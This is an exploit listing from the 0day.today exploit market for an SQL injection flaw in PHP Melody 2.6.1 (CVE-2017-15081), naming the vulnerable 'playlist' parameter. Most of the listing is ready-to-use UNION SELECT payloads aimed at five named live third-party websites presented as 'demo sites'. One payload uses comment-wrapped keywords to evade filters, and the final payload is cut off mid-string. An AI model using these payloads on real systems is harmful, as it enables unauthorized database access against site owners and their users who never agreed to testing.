[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP Melody 2.6.1 SQL Injection Vulnerability

Author
Venkat Rajgor
Risk
[
Security Risk High
]
0day-ID
0day-ID-28863
Category
web applications
Date add
25-10-2017
CVE
CVE-2017-15081
Platform
php
---------------------------------------------------
PHP Melody 2.6.1 SQL Injection
---------------------------------------------------
 ###################################################
 [+] Author        :  Venkat Rajgor
 [+] Email         :  Venki9990@gmail.com
 [+] Vulnerability :  SQL injection
 ###################################################

---------info Cms----------------
name     : PHP Melody version 2.6.1
email    : support@phpsugar.com
dowloand : http://www.phpsugar.com
web      : http://www.phpsugar.com
price    : $39 USD

Vulnerable parameter:  playlists.php?playlist='

Demo Sites:

[+] http://www.donlugo.tv/playlists.php?playlist=-1276' UNION SELECT
null,concat(0x223c2f613e3c2f6469763e3c2f6469763e,version(),0x3c212d2d),
null,null,null,null,null,null,null,null,null-- -

[+] http://www.businessfight.com/playlists.php?playlist=-1276' UNION SELECT
null,concat(0x223c2f613e3c2f6469763e3c2f6469763e,version(),0x3c212d2d),
null,null,null,null,null,null,null,null,null-- -

[+] http://www.salsamalsa.com/playlists.php?playlist=-1276' UNION SELECT
null,concat(0x223c2f613e3c2f6469763e3c2f6469763e,version(),0x3c212d2d),
null,null,null,null,null,null,null,null,null-- -

[+] http://www.mathstube.org.uk/playlists.php?playlist=-1276' UNION SELECT
null,concat(0x223c2f613e3c2f6469763e3c2f6469763e,version(),0x3c212d2d),
null,null,null,null,null,null,null,null,null-- -

[+] http://www.hahuvideos.info/playlists.php?playlist=-1276'
/*!00000UNION*/ /*!00000SELECT*/ null,concat+(0x223c2f613e3c2f6469763e3c2f64
69763e,version(),0x3c212d2d),null,null,null,null,null,

#  0day.today [2024-11-15]  #